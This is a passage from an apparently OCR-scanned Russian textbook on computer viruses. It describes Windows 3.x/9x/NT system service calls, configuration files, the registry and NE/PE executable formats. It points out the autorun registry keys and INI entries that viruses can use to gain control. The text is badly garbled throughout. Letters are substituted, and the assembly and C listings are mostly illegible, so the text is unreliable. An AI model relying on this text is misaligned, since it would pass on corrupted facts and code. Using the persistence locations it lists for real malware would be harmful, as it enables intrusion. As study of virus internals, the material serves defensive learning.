друж(4-твенна» пи д л я  М 8-008. ии для \¥йн1о\У5 9Х, п о  знаменн-



тме драйверм серии МТҒ8В08 в той или иной степени решают эту 
проблему.

Работа файловнх систем класса КТҒ8 основмвается на понятии 
метафайла -  структурь! даннмх, размехценной в сиециально вмде- 
ленном и завдитенном от доступа со сторонм прикладнмх программ 
регионе жесткого диска. Внутри метафайла хранятся описателн всех 
дисковмх файлов и каталогов -■ файлов специального вида, содержа- 
вдих ссмлки на другие файлм и каталоги. Размер каждого такого опи- 
сателя обмчно составляет 1 К6 (хотя может бьггь увеличен до 4 Кб), и 
в нем хранится служебная информация о файле: имя (в двухбайтовой 
кодировке Ишсо<1е и длиной до 255 символов), размер, дата и время 
создания, атрибутн доступа и прочее. Если бмть более точннм, эта 
информация оформлена в виде сснлок на логические информацион- 
нме единицм -  так назмваемме потоки (не путать с профаммннми 
потоками внутри исполняемнх процессов!). В онисателе файла име- 
ется ссмлка на поток, отвечаювдий за имя файла: сснлка на поток, от- 
вечаювдий за размер файла: ссмлка на поток, отвечаювдий за даинне 
файла. и т. п. Физически сами потоки маленького размера (дата. вре- 
мя, даннме коротких файлов и т. п.) размевдаются в том же описателе 
файла. где и ссмлки на них, а «большие» потоки (данньте длинншх 
файлов) в области диска, не занятой метафайлом. Интересно и 
важно, что внутри одного описателя могуг храниться указатели на 
несколько потоков даннмх. связанньтх с одним и гем же файлом: на- 
пример. в одном содержится текст документа, а в другом сведения 
об авторе.

4.1.7. Запрос1»1 прикладнмх программ 
к операционной системе
Практически ни одна прикладная программа не может функциони- 
ровать без файлового. экранного и клавиатурного ввода-внвода. без 
распределения иамятн иод свои нуждм и прочего. то есть без сервис- 
ннх средств (или просто сервисов), предоставляемнх ей со сторонн 
операционной системн.

4.1.7.1. Системнше сервиси в М 5-005
Н М 8-1)08 доступ к системнмм сервисам бмл реалпзован чс рез 

ирограммиьк- прермвання, например через !Х ! 21Ь->. Следуетиметь 
р, р.илу. что решенне проблемн. связанной с тем или инмм сервисом, 
обмчгю лост[Н'алось в результате длннной цегючки внутренннх ль!зс>-
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вов процедур, расположеннмх на разнмх архитектурнмх уровнях опе- 
рацнонной сис гемн. Наиболее длинньтмн и полезннми для изучения 
эти цепочки бнлн в том случае. когда сервисннй запрос подразумевал 
взаимодействие с каким-нибудь внешним устройством. Например, 
попьггка чтения файла (прернвание 21Ь. функция ЗҒЬ) неминуемо 
сводилась к запросу сервисов драйвера управления вводом-внводом 
(прернвание 21Ь. ЮС-ТЬ-функции группм 44Ь), которме, в свою оче- 
редь, взаимодействовали с сервисами чтения логических дисковмх 
секторов (прернванне 25Ь), опиравшимися в своей работе на сервис- 
нне процедурн ВЮ8  (прернвание 13Ь), которме, наконец, обравда- 
лись к портам дискового контроллера.

Прикладная 
ООЗ-программа'

М З-О О З
Интерфейс- Драйверм
нми уровень -► устроиств
М8-008 ( 0 0 3  ВЮ 8)

ЯО М  8105
Внвшнее
уСТрОЙС18)

Рис. 4.4 ❖ Архитектура Мб-ЭОЗ

4.1.7.2. Системние сервисьг в Ш и й о т о  З.Х
В \¥пк1о\ \75 ЗХ прикладнне \^пйо\¥«-программь1 и системнне ком- 

понентн получили в свое распоряжение библиотеки специализиро- 
ванннх сервисннх процедур, именуемне в совокупности \¥1п АР1 
(\\л г)(1о\\ 5 АррНсаПоп Рго§гат 1пТ.ег£асе):

О 08ЕК - отвечала за пользовательский ввод-внвод (работу 
с клавиатурой, мншью, звуком и т. п.):

О С01 отвечала за оконную графику (рисование точек и линнй. 
закраску областей, отображение и перемевдение окон и т. п.);

О КЕКИЕЬ - отвечала за обвдеснстемнне операции (файловнй 
ввод-вьюод, управление памятью. загрузку и вьтолнение про- 
грамм, поддержку сетевмх функций и т. п.).

Большинство систем семейства \У1пс1о\у8 ЗХ могли работать как 
в зашивденном, так и в реальном режи.ме процессора. Далеко не все 
запросн к оиерационной системе, поступавшие со сторонн приклад- 
НЬ1Х программ, иолностью обслуживалнсь самнми процедурами АР! 
и.ти \\'Ъ(1о\ск-дранвера.\ш. Немалая часть нз них в конечном счете 
сводилась к вн-юву АР1 фликцпи <<Г)()83('АҒ].г>. которая служила 
нереходниғ«1М к М 8-[)08. Кроме того, \\'ни!ои^ проғ рлм\н,|. далсе 
работаюиин' в завднвденном режнме. могли н непосредственно вм- 
змвать црернвағнғс 2 1 1). Поэтому' в разрьш нижней стрелкн, ведувдсй
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к внешнему устройетву, необходимо вставить всю цепочку внзовов, 
характерную для М8-1)05 и рассмотренную внше (см. рис. 4.5).

1б -б и ? т 1« 
прикпадяая 
гтро грз«мл

32-6итная 
п рикпадиия* УУт32а

Принладиая
ООВ-гФ-угр',тмй

{КЕНМЕ1 {
П Ж 1

Рис. 4.5 ❖ Архитектура Шпйодаз ЗХ

Следует также отметить, что первме 32-битовме программм появи- 
лись евде в эпоху \¥тс 1о\\ ’5 ЗХ. Поэтому для пх поддержки со сторонм 
этой операционной системм фирмой Мкгозой; бмла разработана от- 
дельно поставлявшаяся АР1-библиотека \\чп32,ъ. практически ничего 
самостоятельно не делавшая, а представлявшая собой переходник 
от 32-битовой программм к \ ¥ т  АР1, то есть к 16-битовьш модулям 
С5ЕК, СЮ1 и КЕКМЕЬ.

Рассмотрим особенности обрашения к сисгемнмм сервисам в \Ут- 
с1о\\гзЗ.Х на примере вмзова АР1-функции «_1ореп», предназначенной 
для открьпия файла и требуюшей двух параметров: 1 ) строку имени 
открнваемого файла; 2 ) слово флагов доступа к открьюаемому файлу. 
Прп успехе функция возврашает дескриптор (Ьапс11е) открмтого с|)ай- 
ла. Самое главное, на что необходимо обратить внимание: параметрм 
функции передаются через стек, причем помевдаются в него в прямом 
порядке (что соответствует соглашению, прннятому в язмке Разса1), 
стек очишается внутри самой функции, результат работм возвраша- 
ется в регистре АХ.
1Е -XI • Ос:г?>■>;!нт имнни озйла

6*0300 =:г г-[/.ИАМЕ . -рлйчз
СГЛ-Ч!

■нА0000г ҒҒГ ..Iоре;
Д:*' * : 3 '  "•.•ТЯ

Разумеется, этот внзов смстемного сервиса \¥шс1о\\!> З.Х в конеч- 
ном итоге все равно своднтся к <>бработке серинса М8 0 0 8  со значс- 
иисм ЗГ)Ь в (1сги< 1-ре А11 и флагами доступа в |>с-1'пстре А!..



4.1.7.3. Системнше сервиси в ШпЛошг 9Х
В \Упгс1о\У5 9Х гюлноценная 32-битовая АР1 так и не появилась, хотя 

участие М 8-008  в обслуживании системннх запросов от ^Утёошз- 
программ наконец-то оказалось практически исключено. Л рограмм- 
ньгй код операционной системн, обслуживаювдий системньге сервисьт 
в \¥тпс1о\у§ 9Х, разделен на две части: на 32-битовую и на 16-битовую. 
Весь 32-битовьгй код находится в библиотеках «КЕК^ТЕМ*32.Г)ЕЕ», 
«175ЕК32.0Е1» и «СОГ32.1)ЕЕ» (образуклцих \\'Тп32 АР1), а более 
компакгньш и бьгстрьтй, но менее надежньш 16-битовьгй код распре- 
делен по библиотекам. базируюццимся в файлах <-КК?4Ь386.ЕХЕ», 
«1'ЗЕК.ЕХЕ» и «С01.ЕХЕ».

Подавлякяцее большинство обработчиков системньгх загтросов, ис- 
пользуеммх в компьютерннх вирусах, сконцентрировано в библио- 
теке «КЕККЕЕ32.Г)ЕЕ», поэтому мьг заострим наше внимание имен- 
но на ней. В большинстве с.ушествуюадих на момент написания этих 
строк версиях \¥гпс1о-л'з 9Х библиотека загружается в разделяемнй 
регион адресного ггространства по фиксированному линейному адре- 
су 0ВҒҒ70000Н п только в \ \ 71П(1о\У5 МЕ п о  адресу ОВҒҒбООООЬ.

Разумеется, код этой библиотеки, исполняюгцийся в 3-м кольце 
зашитьг, не способен обслуживать запросн, для которнх требуется 
компетенция ядра операционной системн. Поэтому в «КЕШЧЕ02» 
предусмотрен механизм обрашения к компонентам нулевого кольца. 
реализованньтй через обрабогку исключений, возникаюгцих в резуль- 
тате внзова программного прернвания ЗОЬ:

___________ Система органиэаиии \Л/1Пс̂ оцц5 ❖ 207

Рис. 4.6 ❖ Упрогценная  ар хи тектура  \АЛпс1о«8 9Х

Если же необходнмость обратиться к драиверам устройств возни- 
каег у прнложеннй 0 -го кольца (наирнмер, котда драйверн взаимо- 
действуют друг с друго.м), то этот визов вьимядит с:,’1едуклцим обра- 
зом:
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б\ч ? ; Ид̂ н'~ификятпр обрайстчигз з̂ пр̂ оз

Компиляторн с язнка ассемблера генерируют подобную комби- 
нацию команд и даинмх, если встретят в исходном тексте програм- 
мм макрокоманду «УхВСаП» (обратение к виртуальному драйверу 
устройства) или «УММСаИ» (обрашение к менеджеру виртуальннх 
машин). Необходимме параметрм передаются обработчику запроса и 
обратно через регистрм или через стек. В обшем случае конкретнме 
форматм обрагцений к тем нли инмм компонентам ядра ХУтскт-з 9Х 
очень екудно документированн фирмой МкгозоЙ, так что практиче- 
ски вся информация о них -  результат хакерских «раскопок».

4.1.7.4. Системние сервиси в Шм1ою$ Л Т
\¥{пс1ош5 \ Т  использует для обслуживания системнмх запросов 

только 32-битовмй программнмй код. В принципе, эта операцион- 
ная система может обслуживать запросн, поступаюшие не только со 
сторонн \¥т<1 о\ч'5-прс1грамм. но и со сторонн программ, сконфигу- 
рированньтх по правилам 1ВМ 0 8 /2  и Ро8»х (это программннй стан- 
дарт, которому стараются удовлетворять все ктонн ГХ1Х). Поэтому 
\\пк1о\У 8 КТ непосредственно обслуживает все системнне запросн 
в модуле «МТБЬЬ.ОЬЬ» (это так назнваемнй ^ а т -е  АР1), а приклад- 
нмм программам предоставляет интерфейснме модули, содержашие 
только переходники к этой библиотеке. Для перехода в нулевое коль- 
цо зашитьт из «КГТ[)1 Л..[)1.Ь>> используется внзов программного пре- 
рмвания 2ЕЬ или специальная машинная инструкция «8У8СА1Л-» 
(для процессоров 1пТе1). Для совместимости с \\'пк 1о\¥5-программами 
интерфейснмй модуль, соответствуюший \Ут32 АР1, назьюается 
«КЕКК5ЕЬ32.Г)ЬЬ». Он содержпт более 4 тьгсяч функций-переходни- 
ков, имена и форматм внзова которнх совпадают с их аналогами из 
\Унн1о\\’з 9Х, а также несколько сотен «новмх«> функций. В разннх

Рис. 4.7 ❖ Упроиденная архитектураШ пйоадз N1
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версиях и вариантах \Уш<1о\ч'5 >чТ библиотека загружается по разнъш 
линейнмм адресам в диапазоне 77Е000001г 77Ғ00000Ь.

В \¥ 1гк1о\уз 9Х и N7 вмзов системнмх сервисов имеет свои осо- 
бенности. Рассмотрим их на нримере все той же функции «_1ореп», 
оставленной в \ \?т32  АР1 для совместимости с программами, разра- 
ботаннмми для Мпйотуз ЗХ. Параметрм функции передаются через 
стек в обратном гюрядке (что соответствует соглашениям язнка Си), 
стек очишается внутри функции (что соответствует соглашениям 
язмка Разса!). результат работм возвраадается в решстре ЕАХ. По- 
добнмй «гибрид» получнл символическое наименованне «§1 с1са1Ь>.
Ғ Ғ 3 5 Г"!1;04Г.ЛП р у зи  Ғ Ь А И  , Фла:‘ и

г.ўОН2ПЛ000 рийИ оТ г Ғ I : ЬМДМЕ , А д р ё с  с г р о к и  им ени  файл^
Ғй:.;43(:4000 с а П  _ !о р 9 П  ; В ьп о а  о » р в и с з

’Ю Ч  НАМП1Е, н а х  , " г л р а н е н и г '  р е з у п ь т а г а

4.1.8. Конфигурирование операционной системь)
Конфигурирование \¥ 1пс1о\У8. то есть индивидуальная настройка эк- 
земпляра операционной системм на конкретнме программно-аппа- 
ратиме условия функционирования, возможно разнмми методами. 
Разумеется, это огромнмй по объему и невероятно сложнмй вопрос. 
ноэтому мм кратко рассмотрим только те его аспекгн, которьте по- 
тенциально позволяют по.чучить управление постороннему коду, ка- 
ковмм и является вирус.

4.1.8.1. Конфигурационние файли \Утс1от$ З.Х
Эта система, являвшаяся «графической оболочкой» для М 5-Б05, 

исправно поддерживала все настройки и вьшолняла все загрузки 
драйверов, упомянутмх в конфигурационнмх файлах <<С’0.\ГҒ1С. 
5У5» н «А1ТТОЕХЕС.ВАТ». Любая 005-программа. запушенная 
из-под \¥ 1пс1о%'5, получала их в свое распоряженпе. Для настройки 
же специфнческих \¥1пс1о\\т5-параметров бмли введенм еше два кон- 
фигурационнмх файла: «\У1ШМ» и «5У5ТЕМ.1Н1» (кроме того, 
небольшая часть догюлнительнмх настроек производилась также 
в фанлах «РЯОСМАХ.ШЬ. <\\'IXI I!.П.IXI .. <( 0ХТК01..1М■> и 
«1Ю5АРР.1М1»). Все эти файлм размешалнсь в системном каталоге 
\№т<к>\та и имели обшую текстовую структуру:
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Рассмотрим наиболее актуальнне для нас в контексте данной кни- 
ги настройки.

Файл«\УШ .Ш Ь:
пао«̂ ]

Iоао=  Программь-; -ззпускаемью в свернугг.м  уидр при о та р те  М тО о » »  

гип=Прсгоамми, ззпускаемм е в о гн е  при ста р те  М тй о и ?  

р го д гй :1!з-=Рэсширении исполняем ь/ файлоь (напримву СОМ, ЕХЕ, Р1Г, ВАТ !

ГЕххепзтспз]
Расш мрвнив=Соответстаую цэя программа (напоимер ггп  -п с ге р э о  “  1 т  

Г Р г с д г а т з ]

Стэндартно0Приложение=И?гя программногр файла

Файл «8У5ТЕМ.Ш1»:
[ЗооТ]
рпо ] != С танд артная  п о л ь з о в э те л ьс к э ч  об о л о ^га  (налример: ЕХРЮНЕ. ЕХЕ) 

з о гп з э уь  ехе=Имя прогрэимь!, сл у к а ^е й  «ранителея экоэна

4.1.8.2. Конфигурационнше файли и структури 
У г̂пйотз 9Х
Это семейство операционннх систем отлнчается самой сложной и 

запутанной системой настроек.
Во-первьпс, операционная система автоматически запускает про- 

граммн, размешеннне в каталоге «С:\\\г1пНолуз\Главное МенкДПро- 
граммь1\Автозагрузка», и драйверн, размешеннне в «С:\\Ут<1о\те\ 
5У5ТЕММ0511В8У 8 ».

Во-вторнх, в операционннх системах этого класса по-прежнему ак- 
туальннконфигурационнне файлн «СОНҒ1С.5У5» и «АОТОЕХЕС. 
ВАТ». Все настройки, драйверн и (внимание!) резидентнме програм- 
мн, _упомянутне в этих файлах, будут отраженн в адресннх простран- 
ствах всех запускаемнх 1308-программ. Например, резидентннй 
вирус, заразивший одну из загружаемнх на этом этапе программ, 
будет сохранять актнвность во всех адресннх пространствах всех 
005-прнложений! 'Гакже при старте ШтсЬхга 9Х запускается файл 
<:\\; IX8'1'АК'Г.ВАТ■>, а при вмходе в режим М8 -Г.Х) 8  отрабатнвает 
файл «Г)085ТАКТВА'Г», оба онн расположенн в каталоге

Следует упомянуть, что в \\тгк]о\У8 МЕ файл «С.0КҒ1С.8У8» ис- 
кусственно оделан неактуальньш и всегда имсет нулс-вую длину, 
а файл «АИТОЕХЕС.ВАТ? запрешен для изменения иользователем.
1 1 о небольшая «хирургическая онерация», пронзводимая популярной 
хакерсксц! утялтчтй «\\7(КМЕ1)()8» над рядом системних файлов



Система организаиии \ЛЛпс1о\лб ❖  211
\ \ ;н к 1 о \\ '8  МЕ. возврашает им прежнюю функциональность, которая 
никуда не делась, а бмла принудительно скрьгга от глаз лользователя 
программистами из М1сгозой.

В-третьих, в \\'тс1о\\'8 9Х по-прежнему действительнм большин- 
ство настроек, произведенннх в файлах «5У8ТЕМ.Ш1» и 
Следует иметь в виду еше файл <- \ \т IX1N ГГ. INI •>. которьгй отрабатьг- 
вает только в процессе загрузки \¥1ос1олу5, а потом автоматически 
уничтожается.

Наконец, в \¥1пс1о\\гз 9Х появился новмй и очень мошнмй меха- 
низм конфигурирования операционной системм: Реестр. Физически 
Реестр представляет собой скрнтне и зашиаденнне от записи файлн, 
размешеннме в системном каталоге \\7]'гк1о\\'л. Например, в \\'пк1о\¥я 
95/98 это «5¥8ТЕМ.1)АТ» и «1/5ЕК.ОА'Г», в \Упк1о\\'5 МЕ часть дан- 
ннх перенесена в «СЕА55Е8.0А'1>, а в МТ Реестр распре-
делен по пяти-семи различнмм файлам. Логически же это огромная 
база данннх, состоявдая, подобно Ш 1-файлам, из разделов и ключе- 
внх записей, только имеюшая не линейную, а древовидную струк- 
туру. Внутри какого-нибудь раздела могут размешаться не только 
ключевме записи, но и другие разделм, поэтому фирменная докумен- 
тация МкгозоА рекомендует счнтать разделм ключевьши записями 
специального вида. Итак, в обшем случае ключевме записи могут 
иметь не только текстовмй и числовой вид, но могут представлять 
собой ссмлки на другие Ю1Ючевьте записи и даже содержать произ- 
вольнме наборн двоичньга даннмх, соответствуювдие. например, ка- 
ким-нибудь изображениям или звукам. Реестр организован в виде 
шести «ветвей», растуших из одного «корня»:

О НКЕУ_СЕА55Е5_КООТ (сокрашенно НКСК) содержит
разнородную информацию, такую как зарегистрированнме 
расширения и типн файлов, кодн объектов пользовательского 
интерфейса и прочее;

О  НКЕУ_С1ТККЕКТ_115ЕК (сокрашенно НКС17) - определяет 
локальнме установки и настройки, актуальнме для работаю- 
шего в настояадий момент нользователя и конкретного прило- 
жения;

О Н К ЕУ_ШСАЬ_МАС Н1КЕ (сокрашенно НК1.М) содержит 
даннне о прс;граммно-агшаратаой конфигурации Г1 ЭВМ:

О НКЕУ_1Т5ЕК5 содержит информаиию обо всех зарегистрн- 
рованинх иользователях и нх индивидуальннх настройках:

О 11КI У ( ГКК!Л"Г ( О Х !'|г; содержпт даннне о текушеи 
К1>нс})|1гурацни периферийпнх устройств;
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О ИКЕУ_ВУН__ВАТА - содержит указатели на ключи НКЬМ. 
содержаадие информацию о производительности системн, ха- 
рактеристиках устройств р1и§-п-р1ау и прочем.

Основннм средством для пользовательской работн с Реестром 
является системная утилита «КЕСЕ.01Т». Запуск ее с ключом /Е  
позволяет получить в файле с расадирением .КЕС текстовую копшо 
содержимого Реестра, а запуск с ключом /С  дает возможность снова 
скомпоновать из этого текста двоичньгй образ (точнее, добавить опн- 
саннне в тексте ключи к «пустому» образу).

Вот некоторме, наиболее важнне для нас разделн и ключи Реестра: 
О <-НКЕМ\50ҒТ\¥АКЕ\М1СГою1'г\\\Ъ1(1о\\’$\Сиггеп{Л;егятп \ 

К.Ш1 », а также лежавдие в той же ветви разделн <<\КлтОпсе», 
ч\Кип8 е т с е 8», ДЯипЗетсезОпсе», кроме того, все подразде- 
ль! этих разделов и плюс к этому аналогичнне ключн, живуадие 
в ветви Н КСII. -  все они при старте \¥ 11\с1о\ \ ’8 содержат перечни 
автоматически запускаемнх программ;

О «Н К ЕМ \ЗО ҒТ\\А Я Е\М 1сго<>о1т\\У тс 1о\У!>\Сиггеп1:Уег5ю п\ 
АррРагЬ.ч» -  указнвают полнне пути для программ:

О «НКЕМ\Расширение» -  связнвает расширение файла с конк- 
ретннм псевдонимом типа данннх (например, <<рсх» с «рсхШе»); 

О «НКЕМ\ПсевдонимТипа\8Ье11\ореп\согата1к1» -  связнвает 
псевдоним типа данннх с конкретннм прнложением (напри- 
мер, «рсхй1е» с «РВКСЗИ.ҒХЕ»)1.

На самом деле потенциально опасннх ключей Реестра много 
больше!

4.1.8.3. Конфигурационние файли и структури 
ШпНог&з Л Т
В \¥ 1пс1ои75 ,\Т  количество возможннх методов конфигурирования 

системн (гю крайней мере, официальннх) бнло сильно урезано, по 
сравнению с \\ '11к1ол\78 9Х. Собственно говоря.их осталосьтолько три: 

О файлн «АСТОЕХЕС.МТ» и <<СОМ71С.\тТ» для настройки сре- 
дн функционирования ООБ-программ:

О <! \¥1 \',1 \ (» и «5У5ТЕМ.Ш1» (только для 16-битовнх про- 
грамм, скомпонованннх в формате \\'пн1ои;8 З.Х);

О Реестр.
('ледует отметнть, что структурн Реестров для \\Дпс1о\те N1' и 

д;1я \¥1п(1о\у8 9Х несколько различаются, н в варпанте для N1' тожс

1 Указашше ветви вернм для \\г3ас1(.п\'.'> 9Х. а в \\'ик1' К I то же самое надо 
искать в иодветвях 11КНУ СЬА83Е5 КО()Т
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присутствует немалое количество ключей. которме вирусм мог.та 
бм тем или инмм образом использовать для «автозапуска», напри- 
мер «Н К ЬМ \80ҒТ\¥АКЕ\ МкгозоЙ-уОДпсЬ-уте ИТХСиггепсУегз10п\ 
\¥0 \\'\Ъоо1 ». Некоторме из них будут рассматриваться ниже -  в гла- 
ве, посвяшенной сетевмм и почтовмм червям.

4.1.9. Исполняемме файлм УУтдоюз
Вообаде говоря, по умолчаншо в \¥ш(Ь\У5 считаются исполняеммми 
очень многие типм файлов. Перечислим некоторме. наиболее часто 
используемме для них расширения:

О «,('ОМ» - соответствует устаревшему, но все евде поддержи- 
ваемому формату программннх файлов М8-008;

О «.ЕХЕ» -  соответствует группе файловмх форматов для про- 
грамм М 8-008, \Д/1пс1о\У8 З.Х и \¥ ш с 1 о \¥ 8  9Х/КТ;

О «.8 СК» соответствует группе файловьгх форматов для иро- 
грамм \¥тсЬ\уз З.Х н У У тсЬт 9Х/ОТ и используется псклю- 
чительно для «хранигелей экрана» («скринсейверов»);

О «.СРЬ» -  исполняеммй компонент панели управления;
О  «,ВАТ» и «.СМО» -  соответствуют текстовому файлу, испол- 

няемому командньши процессорами «СОММАМО.СОМ» (для 
М 5-008 и \¥ т ( 1о\У5 9Х) и «СМО.ЕХЕ» (для \¥]пс1о\\'5 МТ);

О «,Р1Ғ» соответствует информационному файлу, осувдеств- 
ляювдему конфигурирование средм исполнеиия и запуск 0 0 8 - 
программ в \ ¥ т с Ь \ \ '5 ;

О «.ЕХК» (кроме \ \ 71п с 1о \\'8 3.Х ) -  соответствуетфайлу-«ярлмку», 
содержавдему ссмлку на какой-нибудь другой исполняемьхй 
объект.

Но. как показано в предмдувдем разделе, «исполняеммм» в \¥ 1П- 
с1о\\'я может считаться файл с любмм расширением. если сушествует 
приложение, способное его «псполннть», и между ними сконфигури- 
ровано соответствие. Таким образом, успешно «исполняться» могут 
совсем не программнме файлм с расширениями «.'ГХТ», «.ООС», 
«,ВМР>, «,КЕС», «Л\АУ» и мноше-многие другие.

Кроме того, следует упомянуть расширения файлов дранверов н 
динамических библиотек. содержашпх программньп! код, но не яв- 
ляювдихсянепосредственно исполняеммми: «.0 1 .1,», «.386», «.УХ0 ». 
«,1)К\>. «.8 У8 -> и ирочие.

СтарьпЧ формат ЕХЕ-файлов, нспользовавшийся в М 8-008 (не 
л>воря уж о С'ОМ-фо[1мат1'). бмл плохо приспособлен к условиям 
адресацпп памяти в завдшценном (»ежнме работм ироц(‘ссора. Имен-
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но поэтому специально для \ \ /]'пс1о\\8 бн.чи разработаньт «новме» 
форматм исполняемь1\  файлов.

Первмм из них бнл формат, разработаннмй в середине 80-х годов 
XX века М1'сгозоЛ совместно с IВМ для нх обшего проекта -  операци- 
онной системм 0 5 /2 . Он получил наименование <.<Ке\\- ЕхесиГаМе» и 
стал основнмм форматом нсполняемь!х файлов пе только для 0 5 /2 , 
но и для \¥пн1о\\7я 8.Х. Мм будем назьюать его «КЕ-форматом>. Од- 
новременно с ним появнлся формат «Глпеаг Ехеси1аЬ1е>, котормй до 
сих пор применяется в \\1п(1о\\г,5 9Х для внртуальнмх драйверов мн 
будем назмвать его «Ш-форматом».

При переходе на 82-разрядньте \\чпс1о\\'8 9Х/НТ возникла необхо- 
димость в формате исполняеммх файлов, ориентированном на плос- 
кую модель адресного пространства. Так появился «РЕ-формот», 
основой которого послужила использовавшаяся в разньтх версиях 
ГХ1Х спецификацпя СОҒҒ (Сотгпот С>Ъ(ес’Г ҒПе Ғоггпа!,).

С внедрением 64-разрядной архитектурм процессоров неминуемо 
появится еше более новмй формат исполняемьтх файлов, но говорить 
сейчас о нем преждевременно. Пока же, в качестве паллиатива, фир- 
мой М 1СГ050Л используется слегка видоизмененная 64-разрядная мо- 
днфикация «классического» РЕ-формата.

Все сушествуюшие формата программнмх файлов до сих пор 
используются, хотя и в разной степегш. Из пескольких тмсяч про- 
граммннх файлов, попадаюгцих иа ваш компьютер прн установке 
операционной системьт (например. \¥гп(1о\У5 М !•.'). примерно 80% 
оформленм как РЕ-программм. 15% как МЕ-программм. 4% как 
ЕХЕ-программм М 5-005, а нногда имеются п несколько совсем уж 
устаревших СОМ-программ.

Мьт рассмотрнм сейчас обгцие принципьт, лежашие в органнзации 
Ь5Е- гг РЕ-нрограмм. Программнме файлм зтих тшгов представляют 
собой «кентавров», состоягцтгх из двух разнороднмх «тел»:

О крохотной, но полноценной программки в формате М 5-[)05, 
вмводягцей па экрап предупреждаюшее сообшение наподобие 
«Т1н5 ргс\цгат саиЧ ппг 1П 0 0 5  тос1е>>, п вслед за этим немед- 
легшо завершак.и.цс-йся это так назьшаемая <,<заглушка» нли 
<.<5!иЬ>;

О исполияемой программм в одном нз \¥11к1о\\’5-форма'тов (РЕ- 
нли N Е-).

Программа в <|)ормате М5-Г)()5 раснолагается в нача.те файла, по- 
этому ш-рвме два его байта в любом случае равнм «М7.?. Признако.м 
же присутспшя в файле еше и \¥|’т1о\\'5-программь1 является сне-
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циалъноезначение слова, расположенного по абсолютному файловому 
смешенпю 18Ь(это поле «Адрес в файле КеЬсаНоп ТаЬ)е# в М 5 - 0 0 5 -  
заголовке). оно должно бьггь больше нли равно 4()Ь. В этом случае по 
смешенню ЗСЬ в файле располагается 4-бантовая ссмлка на регион 
файла, которьтй заннмает \У1П(1о\\'з-программа. Поскольку она тоже 

; начинается со спецпфического (наголовка, первме ее байтм равнм
«РЕ» нлн «Л'|{ >.

Вот, напрнмер, как может вмглядеть процедура, осушествляклцая 
в файле поиск \У(п(.)0\\г8-заг0,10вка:

0 ) :’С-1иОЎ ■'ЗТа'-.0. М ••
/ П . п с 1 и о е  < ю .  п '• 

а : - с . .  . ~'у

т п с ! и с е  <з г а ! . м>

иГ! -̂;.СПеП 'юпд « 1ппаг (СГ1ЙГ' *й)

г -1 . у : и 1 д н е а  1-;пд в :

? 0. ВГМАЯУ 10 ИП0М1_V. 8.. [нЕА:));
'ев1 ;Г. 2):
II'  ( у ! - 0 х 5А4; ) )  { с 1 о з е  ( О ;  т*е*^сп 0: }

;зее - . ( -  Счич. 8ЕЕК. );
," е а а ( ! '.  & х . ;•);
I ( х < ' С к 4 0 )  ! с 1 о 5 е  ( I ) ;  г е ^ и г п  0;  }

1 з ? с - ч ( * .  ОчЗО 8Ғь:К_.8Ет  ):
& а .  4 ; ;

с :. с з е с  О ;

)

В обвдем случае \\'1пс1о\Уь-программа рассматриваеммх нами фор- 
матов состоит из:

О  служебной областн. содержашен заголовок программм и раз- 
личнме настроечнме табли цм;

О  набора секций, содержаших код, даннме, стек и т. п.;
О  необязательного (и чаше всего отс\тствук»ш еп;) оверлейного 

сегмента.
( реди таблиц, разм етеннм х в служебной областн файла, следует 

упомянуть:
О табчпцу, описмваюшуи.) назпачеппе н местоноложенис секинй: 
О  таблицу перемеша<‘мь1х ссмлок (ге)осаиоп ГаЬ1е):
О  ссмлк\' на точку входа в программу, располагаюшуюся внутри 

чдной нз секций.
Такж»' внутря области загпловка располагаются сппгкп фуикции. 

которме нрограмма бе|>ет длн сьоих мужд нз других программнмх

Система организаиии 'Л/1,поо'л'5 ❖ 215
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ш МЗ-005-

эяголовок

М8-003-прО! рэмма (

НЕ ипй РЕ

Служооиз» 1«б)1ас5ь 
С ^одаўзаг&лово*)

----  ---- -

Секция 1 

Секция 2

Секция N

Рис. 4.8 ❖ Обобшенная структура 
\Л/тс1о»5-программ

компонентов \ \  нк1о\\5 (например, из динамических библиотек), 
и функций, которьте сама она предоставляет для нужд других про- 
граммнмх комгюнентов, Они назнваются тпблицами импорта и таб- 
лицами экспорта соответствешю.

Все упомянутае элементи строения \\пк!о\\;5-программ реалнзо- 
ванн в разннх форматах по-разному, поэтому более конкретно и нод- 
робно они будут рассмотреньг ниже, в соответствуюадих разделах.

4.2. Вирусь! для 16-разряднь1Х версий 
\ЛЛпс1о\л/5

..Я  бе.седова.ч е Кристобалем Холегшчем и 
с Федором Симетовичем. Они по.шгают. что 
этот дивап-трпнслятор представ.гяет.тш>> 
музейицю ценшх т ь.

А. и Б. Струпшкпе. 
«Понедельник начииается ь с\’ббо'ГУ»

Вирусов для \\лп(1о\\'8 ЗХ сушествует очень немного. всего несколько 
десятков. н заметннх эпидемпп они нпкогда не внзмналп. Интерее- 
но, что немалая доли ви[>усов для \\'11к1о\\ 8 ЗХ появилась уже П"сле 
1995 года. П; есть т? тот историческ1Н1 пе] >иод, к< >гда 1 б-бнтовьк' версни 
\¥т<йл\'я уж(- сошли С(' сцеин, вьггеснепнне свонмп бо.пее соВ(-ршеи-
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ньтми 32-битовьши собратьями. Не будет большим преувеличением 
считать, что такие внрусм создава.тась исключительно «из любви 
к искусству». Хотя, конечно. стоит упомянуть «мнкроэиидемшо» ви- 
руса \ \ г1П.Теп1ас1е. 1958. случившуюся во фрашцш в 1996 году; да и 
вирус \Ут.Со11иш также встречался в «дикой природе>.

Как бм то ии бьгло, программине файлн в «КЕ-формате» но 
прежпему присутствукп' иа наших компьютерах, и вопрос их *зара- 
зимости» имеет ненулевую актуальносгь.

4.2.1. Формат файла ИЕ-программь1

Как и любая программа для \\апс1о\У8, КЕ-программа является «кен- 
тавром» -  совокупностью двух программ, одна из которнх вьтолня- 
ется только из-под М 8-008. а другая только из-под \¥1пс1о\\’я [29]. 
М5-1)05-программа размешается в начале файла, а сснлка на заго- 
ловок, с которого начинается \¥ 1'пс1сп\'8-гфограмма, располагается в 
файде по абсолютному смешению ЗСЬ. Чаше всего эта сснлка имеет 
значения 8()Ь или 200Ь.

Этот заголовок характеризуется уникальной сигнатурой «К Е» 
в своих первмх байтах и имеет следуюшую структуру (см. файл 
<-\¥]НКгГ.И», входяший в с-остав \¥ПЧ32 5Г)К):

■ е_. С *  4 5 4 - . : * 0 ',! : ■ Р :- Пг

■: 013 > * о .? п -  и»;г; у  ,1ч и : -м п .:^ о ц :ш и к э

’■ еч-

=. ' - 0 4 ! 1 г0  Ч 1:1:, Ж О ;

■ г' ' 0 £ и "• г  V / '-Ч ч - ‘ ' сг ; л и ц ; -

